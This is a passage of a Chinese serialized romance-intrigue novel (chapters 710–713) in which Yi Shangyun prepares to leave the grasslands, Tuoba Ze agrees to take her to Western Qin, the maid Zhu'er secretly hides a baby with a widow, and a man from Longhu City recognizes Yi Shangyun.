翌日,天刚亮。 一名婢女匆匆地进来,到了衣上云的身边,将一封信双手递到了其面前。 衣上云正在书案边不知执笔在写些什么,精神似是尚依旧还有些不足,只问那婢女:“这是什么?” 那婢女回忆着道:“方才奴婢在来医馆给姑娘送吃的的路上,有个看起来不像是草原上装扮,说话也并非本地口音的男子,让奴婢务必将此信亲手交给姑娘。” 衣上云虽觉心里有些纳闷,却还是很快便将其接了过去,展开来。 “秦王妃速速回宫!” 只见落在纸上短短不过几个字,却足以让她顿觉惊慌失措。 衣上云瞪大了眼睛,赶忙小心翼翼地问那婢女:“这封信,可还有其他人知道?” 婢女赶忙如拨浪鼓一般摇了摇头,指天发誓答:“奴婢发誓,此信奴婢只给了姑娘,再无人知晓。” 衣上云这才定了定心,将婢女支了出去:“你先出去吧!” 婢女却道:“可奴婢还没有伺候姑娘用膳呢?” 衣上云扶了扶额头,借口说:“我现在忽然觉得有些不舒服,你先放在那儿吧,等会儿我饿了自己会弄的。” 婢女抿了抿嘴,说:“那好吧,天冷饭菜容易凉,姑娘一定要记得尽快食用。” 衣上云微笑着对其点了点头,看到婢女终于离开。 方才眉头紧皱着继而再次看回那几个字,最后口中默默地自言自语起来。 “难道他已经知道我就是秦王妃了?” “到底是谁?” “这个狗皇帝,果然毫无信誉可言,说好的半年之期尚还有月余,便就变卦了,看来丁香亦一定吃了很多苦……” “真的是时候得回去了!” “之前答应了他要留在这里赎罪的,可眼下,又该如何跟他开口呢?” “这可该如何是好?” 可衣上云不知道的是,与此同时。 拓跋泽今日一早,亦收到了一个已心心念念等候了许久的消息。 早起刚刚练完功,一名侍卫拿着一封密信,脚步匆匆地进到了拓跋泽的毡帐内:“大皇子,永乐公主那边终于有消息了?” 顷刻间,不知已经消失了有多久的眼神再一次出现在拓跋泽的脸上。 他将密信接过一看,嘴里喃喃道:“梅汐媛居然真的成功了,她约我在西秦见面共商大计!” 侍卫听了顿高兴地朝其祝贺:“恭贺大皇子,咱们所有的努力总算是都没有白费。” 然期盼许久的结果终于出现,拓跋泽心里却迟疑了:“好不容易将这个女人留了下来,可这件事,本皇子又该如何同她开口呢?” 犹犹豫豫之间,他还是缓缓起身来,不知不觉就来到了云上医馆的门前。 不料却与同样刚刚赶到的易三少撞了个正着…… 第七百一十章:还清一切 看到易三少忽然出现在自己面前,同样来到了衣上云门前,拓跋泽顿足停下。 想了想,先开了口说:“那个孩子……” 欲言又止地停了会儿,复又继续道:“都已经安置好了?” 易三少不屑一顾地瞪了他一眼,想到衣上云其所受的苦,这次险些送了命,这辈子更不可能再做一个母亲。 身为女人,这是受到了多么深的伤害! 便就再也忍不住愤愤不平极了地上前,一把拎住了拓跋泽的衣领,凑到他的鼻翼前。 咬牙切齿地怒斥并警告其说:“今日这一切,皆因你兄弟二人所造成。你们对丫头造成的伤害,早晚有一天,我定会让你一人加倍奉还。” “我也没想到……” 怎料这一次,拓跋泽居然一点儿也没有反抗,似是想开口解释些什么。 可话刚开口,心下里一想,现在说这些,又有什么用呢? 如今显然说什么都已挽回不了任何,便就亦不再解释。 总归,事情发展到今天。 对衣上云而言,失去了作为一个母亲唯一的机会。 与他,则失去了,何止是这个世间唯一的血脉至亲? 所以究竟,他与衣上云各自所失去的,到底…… 孰轻? 孰重? 只是,当初他一心只想让她留下来赎罪,其实一开始便就只是一个借口而已。 可如今,事情怎么就发展到了如此境地。 没有了孩子,没有了继续困她在此的筹码,他又该如何继续将她留在自己的身边? 就在这时,满腔愤怒的易三少忽然大力地一把将他推开。 猝不及防地使得他受力后连连后退了好几步,方才再次站稳脚跟。 可易三少丝毫没有给他缓和过来的时间,紧接着依然怒不可遏地说:“且不说拓跋宏为丫头所做的一切,从始至终皆都是他自己心甘情愿的。若不是他画蛇添足,自己送上门去。又怎会被那狗皇帝抓进宫去做人质,以此来要挟丫头,将丫头囚禁。” 顿了顿,复又说:“如果拓跋宏的死,你非要迁怒于丫头,那么现在,那个孩子,亦足已还清这一切。既然已经知道自己保护不了她,那么从此以后,休要再纠缠于她。这次,无论说什么,我都要带丫头离开,谁都休想再阻拦!” 闻此,拓跋泽恍然醒悟过来,惊看向易三少无比坚定的脸。 “哼……” 只闻易三少最后对他嗤之以鼻地冷哼了一声,便就拂袖走了进去。 望着他渐渐消失的背影,忽然之间,拓跋泽的心里变得五味杂陈。 仿佛只须臾之间,他又变回以前孤独冰冷的自己。 独自在门口的冷风中站了许久后,嘴里忽然喃喃发出一阵声音来。 “对不起,这一切,真的并非我的本意,我从未想过要真的伤害你,可我亦不知道……事情为什么会变成如今这个样子?你一定不会再原谅我了,对吗?” 不知在医馆门前痴痴地停留了多久,更不知失魂落魄地是如何回到自己的帐中,拓跋泽一个人接连灌下了好几坛酒。 即便最后已是酩酊大醉,却不知又想起了什么来。 于是又提起了三坛酒,一路摇摇晃晃着,来到了拓跋宏的墓碑前。 大雪时节,万物潜藏。 雪峰矗立,苍松挺拔,树枝上挂满了雾凇。 一场大雪过后,雪吻蓝天,雾绕林海,山峦叠嶂。 成群的牛羊在白雪皑皑的草原上觅食,冬日美景让人如痴如醉。 恍恍惚惚之间,距离不远处。 拓跋泽的眼前,仿佛出现了两匹并肩而行,极速飞奔的骏马,还有俩个俊朗的少年。 他们正一起兴高采烈地挥舞着手中的马鞭,自由而豪迈的欢呼声,在风中飘扬地好远,好远。 待到少年并排从他身边疾驰而过,方才看清楚那居然是年少的自己,与拓跋宏二人。 一时间,他竟激动地眼中噙满了泪水,着急地伸出手想抓住拓跋宏的马缰绳,怎料却是什么都没抓住。 他垂首下去,疑惑地看着自己空无一物的手。 再次抬头,少年与白马便就此一起消失不见。 乍一醒来,一切原来都只不过是回忆。 只有面前那两座冰冷的墓碑上,雕刻着自己不为人知,心底最深的回忆与思念。 于是他嘴角一勾,浅浅一笑。 将自己带来的酒,分别放在了眼前的两座墓碑前,自己提起最后一坛来,与拓跋宏的那坛碰在一起。 紧接着,便就又兀自灌下了大半坛。 开始断断续续,自言自语起来。 “怎么样?” “终于和那个老东西团圆了,这下你是不是彻底称心如意了?” 说完,仿佛自嘲一般的大笑了一声,复又灌了一大口酒,继续说起来。 “你说……” “我是不是真的做错了?” “如果……” “如果当时我,不执意将她留在这里……” “是不是……” “是不是那个孩子便就不会死……” “可我为什么要将她留在这里?” “我明明知道,不管是她的人,还是她的心,她都只是秦王轩辕翰一个人的……” “国破家亡,我应该恨她入骨,将她碎尸万段才对。” “可我怎么好像……” 显然,他至今都不敢承认自己的内心。 “你说这个女人,她又蠢又笨。” “我怎么会看上这样的女人……” 自此沉默了好长一段时间,拓跋泽放眼俯视,认真地环视了周围一圈,最后深深地叹了口气,再次开口。 “这些日子,你在这里亦都看到了吧!无论白天黑夜,亦或雨雪风霜,她就仿佛是这草原上一缕最亮的光和热,照亮了草原上的每一个角落。” “可是……” “马上,我就又要失去她了。” “这次,我是真的一点儿办法都没有了……” “你说……” “我到底是从什么时候开始?怎么就变成这个样子了?” “现在的我,是曾经的我最讨厌的模样。” “我该怎么办?” “我该拿她怎么办才好?” 他紧紧盯视着面前的墓碑说。 忽然,语气却再次变得激动起来。 “你告诉我。” “你告诉我,我该怎么办啊!” “你这个没用的懦夫,为什么要用死来逃避这一切。” “你以为你死了,那个狗皇帝便就再也无法继续拿捏她了吗?” “自始至终,你都和从前一模一样,从未变过。” “这些年,如果不是我,你和那老东西早就被那些吸血鬼叔伯们吃干抹净了,你以为仅凭你们一腔妇人之仁便就能让他们永远臣服吗?” “痴人做梦!” “愚蠢至极!” 嘴上说着最难听的话,可眼泪却明明就在眼眶里打转。 然只要一想到衣上云,他的心便就骤然柔软了下来。 “你……” “也一直都是在这样用自己的生命,在偷偷喜欢着她,不是吗?” “可若不能成为这草原真正的主人,又如何庇佑得了她?” “昨日是那狗皇帝?今日是名医堂?明日后日,又会是什么?” 话说至此停了一会儿,拓跋泽好像在心里默默地下定了某种决心,将自己的一双拳头紧紧握起。 “不……” “我决不允许……” “我绝对不会让自己重蹈你的覆辙……” “这片草原,终究一定会再回到我的手里。” “我一定会夺回原本属于我的一切,甚至更多。” “你就在这里好好看着吧!” “我一定会证明给你看,这片草原,终究只能属于我!” 这时,不远处。 大雪过后,牧民们赶着马群在雪地上奔腾,马儿仿佛被注入了仙气一般,草原再次现出马踏飞雪的壮观景象…… 听着耳畔传来万马奔腾的声音,拓跋泽甚觉欣慰地笑了起来。 忽然,便就咣当一下。 整个人就这样重重地倒了下去,与这片大地彻底融为一体,闭上眼睛,不省人事。 而此时,在云上医舍里。 忽然传出易三少一阵惊喜又兴奋的声音。 “丫头,你真的同意了?” 失去了孩子,虽然痛心至极,可眼下,并不容她有太多伤心难过的时间,因为她不能再失信于丁香。 于是,衣上云郑重地点了点头:“嗯,我答应你,同你一道离开这里。” 仿佛有些犹豫,想了想又道:“只是……我还没有想好该如何同大皇子说这件事情。” 闻此,易三少脸色忽地一沉,责怪起她来:“难道你不知道今日这一切都是因为他所造成的吗?为何还要在意他的想法?” 衣上云却道:“三少不要这样说,这都怪我自己的身子不争气,怨不得别人。” 易三少看着仍旧靠身在榻边虚弱无力的衣上云,便满腹心疼地说:“对不起,都是我的错,没能护好你,才让你受了这些许苦,我也没想到,怎么会……” 话未说完,衣上云便将其打断:“过去的都过去了,是我与那孩子没有缘分,不能怪你!” 易三少显然亦拿她的善良没有丝毫办法,于是只不屑地道:“你不必理他,此事,我来与他说。” 衣上云听了,却是有些担心这二人的关系,便叮嘱他说:“三少,大皇子,他已经不是以前的大皇子了,你须得好好同他说才是!” 易三少道:“我自有分寸,你准备准备,事不宜迟,趁着这几日天晴,我们明日一早便就出发。” “嗯”衣上云心下里一想,点了点头答应他。 第七百一十一章:嫉妒的心 直到夜幕降临,拓跋泽方才缓缓醒了过来。 遂一边起身,一边用力拍了拍自己胀痛的脑袋。 帐内,此时只有侍女珠儿一人,手里捏着一根蜡烛,正在忙碌着想要多替其掌上几盏灯,待其醒来。 忽然瞥到拓跋泽正起身欲要下榻来,便急忙停下手里所有的动作,直朝其身边疾奔了过去。 心里虽有些责怪,然更多却是连连关切声。 “大皇子可算是醒了!” “今日怎的喝这许多酒?” “现在感觉怎么样?” “可有哪里还不舒服吗?” “没事!” 拓跋泽说着,一把掀开了身上厚厚的被褥。 继而一边下榻,一边问:“对了,本皇子是怎么回来的?” 珠儿回忆着说:“奴婢久久等不到大皇子回来,以为您在医舍里,便就过去寻殿下。岂料医舍的人皆都说大皇子虽然去过,却并未进入帐内,更未曾逗留。” 顿了顿,想起今日之事,珠儿显然至今都觉得还有些心有余悸着。 过了会儿,方才继续说:“后来奴婢到处找不到殿下,便想着殿下会不会去看二皇子了。就在奴婢去往山上的半途中,碰到一位陆姓的公子,说他正好经过,发现大皇子您醉酒倒在雪地里,这才帮奴婢一起将殿下送了回来。” 珠儿看到拓跋泽如此借酒浇愁,属实心疼极了。 “大皇子怎得如此不爱惜自己的身子?” “外面冰天雪地,这么冷的天,山上更是人迹寥寥,这若是真的有个什么万一,那奴婢为大皇子所做的这一切,便就都没有意义了……” 珠儿一连说了那么多,可拓跋泽真正听进心里去的却并没几句。 忽然开口将其打断,只自顾自心中疑惑地问:“陆公子……那是什么人?” 珠儿回想了一瞬,对其说道:“据那位陆公子自己所说,他们是从东宁国来的药材商人,想寻一些草原上的药草回去。” 拓跋泽一边听着,一边若有所思地自言自语重复着。 “药材商人?” “东宁国?” 只见拓跋泽嘴里碎碎念着,忽然打起精神来,像是被什么惊到了一般:“你说他们来自东宁国?” 珠儿被其惊谔的表情惊到,愣愣地点了点头。 拓跋泽心里忽然生出一抹怀疑。 “东宁国地处沿海一带,气候一年四季皆都温暖湿润,其国人更是极少有人能适应草原上的苦寒环境。因此两国之间的药材交易,自古以来亦都是通过两国的药材商预订,怎会在这个时候忽然有人亲自找上门来?” 像是越想越觉得不对劲,遂愈来愈皱紧了眉头,断定道:“不对,他们一定不是什么药材商人!” 届时,脑海中,忽然闪现过一个念头:“这些明显不是梅汐媛的人,难道他们是东宁国的另一股势力,亦得知他们的公主并没有死,他们是冲着寻她而来?” 就在拓跋泽深陷在自己的沉思中时。 珠儿隐隐听到了他的这阵喃喃细语,便再次仔细想了想。 仿佛还真的亦感觉哪里有些不对劲,便又开口说:“听大皇子之言,奴婢亦是觉得,他们一行人看起来仿佛还真的不像是商人,他们身上所散发出来的气质,更像是平日里颇为严格,训练有素的将士。” 至此,拓跋泽已是肯定极了:“陆姓……听闻东宁国龙虎城城主府便就是陆姓,莫非是他们?!” 世人皆知。 自打东宁老国君去世后,东宁国朝野上下一直动荡不安,尽管衣上云并无心于皇位,有意让位他人,可梅志煊德不配位,至今都不受群臣支持,龙虎城又一向对老国君颇为衷心,唯命是从。 由此看来,他们所要找的,果然并不是什么药材,极有可能便就是衣上云。 难道……他们是想带衣上云回东宁主持朝政? 一念至此,他着急地追问珠儿:“那你可知,现在他们人在哪儿?” 珠儿摇了摇头,说:“奴婢怕他们识破大皇子的身份,发现我们潜藏在此的秘密,便与他们早早在湖边就分开了,奴婢只听陆公子的手下说,他们还要在这里继续呆几日。” 如果是这样的话,想来直到目前,他们一定还没有发现衣上云的痕迹。 拓跋泽便在心里暗暗地想:“不行,绝对不能让他们找到那个女人,看来草原是真的不能再继续呆下去了!” 一念至此,他赶忙立起身来,准备出门。 珠儿不明所以地问:“天都已经黑了,大皇子还要出门吗?” 怎料拓跋泽就像没听到她的话一般,兀自只顾急急离去。 一转眼,便就只身彻底消失在了眼前的一片漆黑夜色中。 看到天色已晚。 易三少便对衣上云说:“天色不早了,你早点歇着,我这就去找拓跋泽!” 衣上云点了点头。 可就在易三少转身正欲迈开步时,衣上云忽然伸出一只手去拽住了易三少。 犹犹豫豫之间,终是开了口:“三少,要不……还是我自己去同大皇子说吧!” 易三少显然有些生气,遂将两只手按住了她的肩头,说:“你现在需要做的,就是乖乖休息,赶紧把身子养好。其他的事,都交给我处理。放心吧,我知道该怎么做。” 就在这时,拓跋泽忽然闯了进来。 一看到易三少正按着衣上云的双肩,便怒不可遏地快步上前去,一把将俩人分开,并扬声怒喝道:“你们这是在做什么?” 衣上云赶忙解释:“大皇子切莫误会,我与三少商量着,正想……” 未及衣上云把话说完,易三少将其打断接着亦生气地道:“我与丫头做什么,与你何干?你是什么身份?又来这儿做什么?” 拓跋泽一怒之下,居然再次扬起一只拳头来欲对易三少大打出手。 易三少打从到了草原上,属实已经对他忍了很久,此时亦紧忙伸出一手,毫不示弱地做起应对之势。 衣上云见了,朝那俩人疾呼一声:“你们每一次见面非要如此大打出手吗?” 一边说,一边光着脚踩在冰冷的地板上,跌跌撞撞地起身来。 拔腿欲往外离去:“既然如此,好,我走,我这就走,好给你们腾出地儿来!今日,如果你们分不出个胜负来,便就都不要住手!” 霎时间,拓跋泽与易三少俩人不约而同地各自紧紧拽住了衣上云的一只胳膊,并发出一阵着急的声音。 “别走!” “别走!” 这时,衣上云问俩人:“还要继续打下去吗?” 只见拓跋泽与易三少互相狠狠地瞪了对方一眼。 只能就此作罢后,衣上云先对易三少说:“三少,可否让我单独与大皇子谈谈?” 易三少听了,不得已,亦是很无奈,只能拂袖离去。 这时,衣上云方才请拓跋泽落座下,问:“怎么喝这么多酒?” 拓跋泽听了,顿看向她的脸愣住,问:“你是怎么知道的?” 衣上云道:“方才你一进来,我便就已经闻到你所带进来的这阵浓烈的酒气了。” 拓跋泽这才赶忙闻了闻自己身上的味道,抱歉地道:“对不起!” 衣上云自顾自将一个自制茶包丢进茶壶里,一边倒入沸水,冲泡了一壶热茶,一边说道:“你来的正好,我正有事想去找你。” 拓跋泽亦道:“其实……我来,亦是有事想找你。” 没一会儿,茶便就泡好了,衣上云一边分茶,一边介绍说:“这是由野葛花、葛根、绿茶和桑叶泡成的解酒茶。不过,最好在饮酒前喝杯蜂蜜水,再配合这个解酒茶效果会更好。” 拓跋泽痴迷的眼神,凝视着衣上云优雅的一举一动,嘴里只低低地道:“其实,我真的很嫉妒秦王轩辕翰,为何会拥有世间这么好的女子,却不懂得去珍惜!” 听到久违了的熟悉的名字,衣上云心里依旧还是忍不住停顿了一下。 可很快,便又当作什么都没听到,兀自只问道:“大皇子方才不是说找我有事吗?那……不妨大皇子你先说。” 拓跋泽接过衣上云递向自己的热茶,却道:“还是你先说吧!” 衣上云笑了笑,坚持着说:“大皇子先说。” 拓跋泽将手里的茶水徐徐灌下,方才对衣上云开口说:“我想好了,那个南安太子是对的,我还是送你回西秦吧!” 衣上云怔住,想起方才二人刚刚还一副水火不容的模样,转眼怎会有如此变化。 为此心里着实惊了一下,不明白地问:“这是为什么?怎么突然之间生了这种想法?” 拓跋泽解释说:“草原的冬季异常寒冷且漫长,你的身子已经糟透了,还是回西秦好好调养比较好!正好,我在西秦的产业,亦有些事要我亲自去处理,将你留在草原上,本皇子不放心。” 虽然衣上云知道,这并不是拓跋泽妥协的真正理由。 可自己亦不是急着救人,想着如何回去嘛,于是便再次朝其确认说:“你……真的这么想吗?” 拓跋泽道:“本皇子想通了,只要你好,叫我做什么都可以!” 听到这句话,衣上云心里倒是真的有些感动,于是想了想,便答应了他:“好吧,我答应你,跟你回西秦。” “只是这一路上,怕是难免要经历不少颠簸了,你的身子……”拓跋泽似是很担心。 衣上云却只一心想着眼下所有即将面临的棘手的事,于是摇了摇头,肯定地说:“放心,不会有事的,我可以。” 没有人知道,拓跋泽此刻的心里有多么地不舍这段美好时光。 可最后,却只能叮嘱她一声:“如此,那你便收拾收拾,明日一早我们便启程。” 衣上云浅浅一笑,答应道:“好!” 拓跋泽如释重负,遂深吸了口气,又道:“对了,那你想说的是……” 衣上云认真地道:“谢谢……我想说,谢谢你。” 拓跋泽听了惊了一下,觉得有些无厘头,道:“就这?” 衣上云点了点头。 “好吧,早点休息!” 无奈,拓跋泽说完,便就恋恋不舍地起身离开。 第七百一十二章:独居草原的妇人 走出医舍,拓跋泽双手附后忽然顿足停下,目光定了定,仿佛又想起了什么。 转眼,便见径直来到了珠儿的帐前。 犹犹豫豫间,正打算开口说话。 恰时,珠儿刚好一手抱着一个包袱,另一只手拎着一个篮子走了出来。 一看到拓跋泽竟第一次夜里来到自己的帐前,心中不胜欢喜。 于是赶忙过去上前迎接:“这么晚了,大皇子怎么来了?” 拓跋泽看着她手里又是包袱,又是篮子的,便问:“你……这是打算要出门?” 珠儿一意识到,拓跋泽的目光正落在自己手里的篮子上。 一反应过来,便赶忙将其反手都藏在了身后。 紧接着,着急地解释说:“喔,其实也没什么,奴婢听说阿图的娘又给阿图生了个弟弟,奴婢正想送些吃的,以及小孩的衣物过去。想必大皇子知道,阿图的爹不久前去世了,如今家里少了一个男人,他家的情况本来就不是很好,如今再加上这个小的,日子便就更……” 看到拓跋泽若有所思着,珠儿赶忙邀请道:“对了,外面天冷,大皇子请赶快进帐说话。” “你是说……阿图的娘生了一个遗腹子?这是什么时候的事?本皇子怎么从未听阿图提起过?” 拓跋泽听了,有些惊诧地问。 珠儿一边替其掀开帘子,一边说:“听说好像就是前些日子生的,大皇子向来事务繁忙,阿图自是不会对您说这些家常小事,扰您的清净。” 一开始,拓跋泽其实并没有想要进去的意思,他只想临行前,将珠儿叫出来交代两句话。 许是念在她跟随自己多年的份上,又或许忽然意识到自己有些忽略身边的人,便就随之走了进去。 进门后,珠儿将手中的篮子和包袱一起放在了一个角落里。 “大皇子随便坐!” 接着,自己便走到另一边,想着替拓跋泽倒杯热茶。 可拓跋泽却并没有坐下,只说:“本皇子明日一早便就要离开了!” 珠儿听了,手中的动作,连同正热烈跳动着的一颗心忽地一起一顿。 只不过须臾,方才脸上的欣喜不已即刻烟消云散,转而有些小心翼翼地问:“再过月余,便就是年关了,大皇子不能等过了年再走吗?” “不了!”拓跋泽自是无需同她一个婢女解释。 便只自顾自地说:“你等会儿去医舍一趟,她现在身子不方便,你替她收拾好行李,明儿一早,我便会带她离开。” 这么多年的心思,也不知今夜哪儿来的勇气,珠儿居然鼓起勇气来,一边将手中的茶盏递上去,问了句:“大皇子,这次,您能不能也带着珠儿一起?” 显然,拓跋泽亦是对她此大胆之举万万没想到,尽管他亦并不是不知道,珠儿对自己的心思。 于是只盯视着她的眼睛,说:“你知道,本皇子向来不喜欢身边带女人的。” 事已至此,珠儿索性豁出去了,便更大胆了些,问:“那为何衣姑娘却可以?” 拓跋泽依旧不屑于同她解释,只道:“她与一般女子不一样,他对本皇子有助力。” “可珠儿也能帮你啊!” 珠儿在心里默默地自言自语。 最后咬了咬牙,换了个方式,说:“衣姑娘如今身子太弱,身边亦需要人细心照顾,不如,大皇子就带着珠儿一起,就当是全为照顾姑娘的身子,可好?” 此话一出,拓跋泽想想自己的确不懂得如何照顾一个产妇的身子。 加之还有那十分碍眼的易三少同行,届时一定会粘在衣上云左右。 如果有珠儿陪在衣上云身边,那易三少定会有所顾忌与收敛,于是便就答应了她:“好吧,那你就一起跟着吧!” 珠儿欣喜地道:“谢谢大皇子。” 而拓跋泽却严肃地警告她:“只是你要切记,不该动的心思不要动,不该做的事更不要做,她是本皇子的人,不是你能动的了的。否则,本皇子绝不饶你。” 珠儿心中实际上早已嫉妒地发狂,可眼下亦只能应声说:“是,奴婢一定时刻谨记自己的本份,绝不会做出任何逾矩之事。” 拓跋泽一口茶也没喝,说完便就出门扬长离去。 临走之际,从身上摸出一张五百两的银票来,交待珠儿说:“将这张银票,替本皇子交给阿图的娘。既然他家就剩阿图一个顶用的男人了,阿图便就留下,此次不用一同随行了。” 珠儿紧紧握着拓跋泽所留下的银票,看到拓跋泽竟有如今的变化,站在风口处,心里久久不能平静。 “大皇子真的变了!” 望眼欲穿地凝视着其背影许久许久,方才将银票收起揣在身上,回去再次拿起了方才那个篮子和包袱,加快速度出了门。 很快,她便来到了一个看起来极为普通,甚至可以说是有些简陋的独居牧民家里。 一进门,便见一盏昏暗的烛火照耀下。 一位妇人身旁,正熟睡着一个看起来两岁左右的小女孩。 那妇人则正掀起衣角来,给一个看起来刚刚出生不久的小婴儿喂奶。 妇人一看到珠儿进来,便压低了声音对其客气地道:“珠儿你来了!” 珠儿一边将手里的东西放下,一边看了看周围,询问她:“阿图到现在还没回来吗?” 妇人一听,便就开口大骂道:“那个兔崽子,最近也不知道怎么得罪了大皇子,自打前几日,被大皇子骂了一顿。这几日在家里脾气大得很,这会儿也不知道跑哪儿去了?” 珠儿看了一眼孩子,又瞧着妇人甚是喜欢那孩子的模样,便对其致谢:“真是辛苦婶子了!” 妇人确实极欢喜,一直盯视着婴儿的脸,满脸慈爱地道:“婶子不辛苦,一点儿也不辛苦。这孩子生得极好,你看这眉眼,这额头,还有这耳朵……在咱这草原上,可还从未见过如此生来就气质天成,好一副尊贵模样的小公子。” 妇人越看越喜欢,可心下里一想,却又极有些不解。 于是便问珠儿:“婶子问你,你可要对婶子说实话。你到底是在哪里捡到的这个孩子?确定没有人要吗?” 闻此,珠儿即刻眼神四处躲闪着:“刚出生便就被人那般狠心地丢弃在冰天雪地里,怎会还有人要?幸好阿图的妹妹尚还未断奶,否则,他怕是就真的只有等死了。” 妇人对珠儿的话半信半疑,嘴里喃喃低语:“奇怪,我已经找了大夫仔细检查了好几遍,这孩子异于常人,十分强壮,并无什么隐疾,这么好的孩子,怎会无人要呢?” 可珠儿坚持这样说,她也好似再没有其他办法。 就在妇人迟疑之际,珠儿忽然伸手出去,想要将孩子抢回来:“既然婶子不相信,那我便将这孩子送给别人去。” 妇人见了,赶忙将孩子圈紧在怀里护住,说:“不,不,不,婶子要,婶子没说不要这个孩子。婶子只是怕,孩子的爹娘发现孩子丢了,心里着急。” 实际上,珠儿就是冲着阿图的家是草原上为数不多的一户独居的牧民。 平日里,除了阿图,妇人与外人几乎没有任何接触。 如此,自己的计划,便就绝不会轻易被人发现。 确定了妇人的心后,珠儿方才将身上的银票拿了出来,郑重地交到妇人的手里。 叮嘱她说:“明日一早,我便要同大皇子一起离开了。这是大皇子让我转交给婶子的,婶子将这住处好好翻新一下,毕竟如今家里又添了一个孩子,这住处显然是小太多了。” 妇人将手里的银票打开一看,顿时睁大了眼睛,惊谔不已:“五百两!” 竟被吓的迫不及待地赶忙将其推了回去,连连拒绝。 “不,不,不……” “这太多了,这我断不能收。” “幸得大皇子不弃,这些年能够将阿图带在身边替我调教,我已经是感恩不尽了,怎能还收他的银两?” “使不得,使不得……” “这万万使不得……” 珠儿再次将银票递上前去:“婶子,你一定要拿着。就权当是,养这个孩子的钱!” 妇人听了,遂发出一阵惊声道:“这……你是说,大皇子也知道孩子这件事?” 珠儿顿了顿,点了点头,说:“收着吧,大皇子的脾气你是知道的。” 妇人只能缓缓将其接过,说:“那好吧,务必替我谢谢大皇子。” 珠儿笑了笑,最后又说:“只是有一点,婶子既然收留了这个孩子,就一定要尽心照顾,万不可有任何闪失。日后,这个孩子会有大用场。” 妇人信誓旦旦地说:“这个你大可放心,婶子一定会将他视为自己的孩子一样对待,不会让他受一丁点儿苦。” 至此,俩人目光一起看向熟睡中的婴儿。 珠儿伸手抚摸着婴儿圆润的脸,说:“你看他和婶子多有缘,在婶子的怀里,睡得竟如此安稳。” 而在另一边的云上医舍里。 “真没想到,原本一直都还不知该如何开口对他说这件事情,如今这么快便就都解决了!” “只是不知究竟发生了什么事,他竟会突然主动着急着想要去西秦?” 拓跋泽离开后,衣上云一边思量,一边喃喃说道。 想着此次一走,怕是日后便就很难再回到草原。 此次一别,极有可能便是一生。 或许,离开前,她应该好好再与某人道个别。 于是,便慢慢起身,独自出了门。 第七百一十三章:我就知道是你 寂静的夜里,草原上的西北风无情的刮着。 尽管遮着面纱,可掠过脸面,依旧直让人感觉硬生生的疼。 根本尚还未走出多远,衣上云便已紧紧的缩成一团,哆嗦地不成样子,却仍然咬紧牙关坚持着。 如今已然单薄孱弱不堪的身上,只裹着一袭大毛领白色连帽绿梅斗篷。 一路上跌跌撞撞,几次三番险些摔倒滑落山坡。 最后终于抵达,瑟瑟地立在寒风中。 静静地凝视着仿佛就在昨日尚还那般温暖、体贴、鲜活的一个人,如今却只剩下刻着拓跋宏的名字的冰冷的一面石碑。 往事一幕幕,再次涌现出脑海。 她终是忍不住,再次泪水溢满了眼眶,最后不听使唤地流了下来。 不知对着拓跋宏的名字凝视了多久,终于动了动,伸出手去轻轻拂掉落在碑上的积雪,徐徐开了口。 “你还好吗?” “明日天一亮,我便就要离开这里了。” “还真是有些舍不得!” “可我担心那个璟帝,怕是不会信守诺言让丁香好过的,我必须回去救她。” “璟帝如今已经查出了我的身份,此次回去,便更加险而又险。” “虽然现在我还没有想出万全之策来对付他。” “可无论如何,我都必须回去面对自己该面对的,承担自己该承担的。” “我已经连累了你,不能再连累丁香。” “以及更多的人……” “所以我想,与你自此一别,怕就是永别了。” “还有……” “我擅自做主,将你葬在了老国君的旁边,你应该会高兴的吧!” 话说至此,衣上云强挤出一抹笑来,一手拭去了脸庞的泪水,接着情绪却更加低落了。 “终究……” “那个孩子,我还是没能保住。” “你知道,虽然我有对这个时空里你们所有人的记忆,可我压根儿并不属于这个时空。” “当我恢复了我原本的记忆后,根本不想要那个孩子。” “可我也不知道为什么,每每感受到她在我的肚子里亦是一个鲜活的小生命,几次三番,我便再也下不了决心。” “或许,正因我并不属于这个时空,老天才注定让我孤身一人降临至此,最后亦不留下任何痕迹地离开。” “这样也好,所有一切,仿佛就像做了一场梦一样。” “什么灵空大陆之争?” “什么秦王轩辕翰?” “什么西秦守护者?” “一切的一切……” “梦醒后,我应该会将你们,连同在这里所发生的一切,全都忘了吧!” 声音忽然再一次哽咽。 衣上云赶忙吸了吸鼻子,高高抬起头来,望向头顶繁星点点的苍穹,试图想要将眼泪倒回去。 再次垂首看向拓跋宏的名字时,又换了另外一副轻快的心情,告诉了他。 “对了,忘了告诉你,还记得当初我们所救下的那对双生兄妹吗?如今他们都是那么的健康,二皇子,你听了,也一定会替他们高兴吧!” “还有,我离开后,医舍还会继续由我在这里所亲自传授的其她女子来坐诊。从此以后,草原上的女子生了病,再也不会像以前那样自己在家胡乱吃药了。” “我相信,我们在这里所做的一切,都不会是白费。” “这片广袤的大地,一定会越来越好的。” 接下来很长一段时间,衣上云都没有再说话,仿佛整个人已经与这片寂静的草原融为一体。 不知过了多久,最后再次开了口。 “我知道你不喜欢,但我还是要跟你说一声……” “抱歉!” “真的对不起!” “我的出现,让你的一生变得如此匆匆。” “这一世,亏欠你的……” “如果生命真的有来世,下一世,我情愿做牛做马来弥补你。” “二皇子,再见了!” “下一世……” “一定要记得来找我讨债。” “你放心!这个仇,我一定会替你讨回来!” 霎时间。 夜里的一阵山风凛冽,忽然将衣上云脸上的面纱吹落了下来。 这时,从衣上云的身后,忽然传出一男子的声音:“公主,是你吗?” 听到声音,衣上云顿被吓了一跳,来不及拾起掉落在地上的面纱,便本能般地朝声音所发出的方向转过了身去。 那男子疾步上前,一对上她的脸,便举起手中的火折子对其一照,遂高兴极了地近乎都语无伦次了起来。 “找到了!” “终于找到了!” “你……” “我……” “你……” “你真的是公主!” “公主果然尚还活着。” 此时此刻,他着实实在难以掩饰心中的喜悦。 等不及衣上云反应过来,便又继续道:“臣下带人已经在草原上寻找公主多日,方才偶然路过一个医舍,看到身形气质貌似公主的女子,一人深夜出门上山,便就一直暗中跟着到了这里,没想到真的是公主您。” 衣上云亦是借着男子照过来的火折子,方才看清楚了他的脸。 的确有些眼熟,于是一边搜索记忆,一边道:“你是……” 男子赶忙自己介绍自己,道:“我是陆远啊!” “陆远?”衣上云默默地重复了一句,扶了扶有些刺痛的脑袋,依然快速回忆着。 男子有些着急,可又无奈,于是紧接着,又再次提示了一句:“公主可还记得龙虎城?” “龙虎城……” 听到这三个字,衣上云方才终于想到了眼前人的身份。 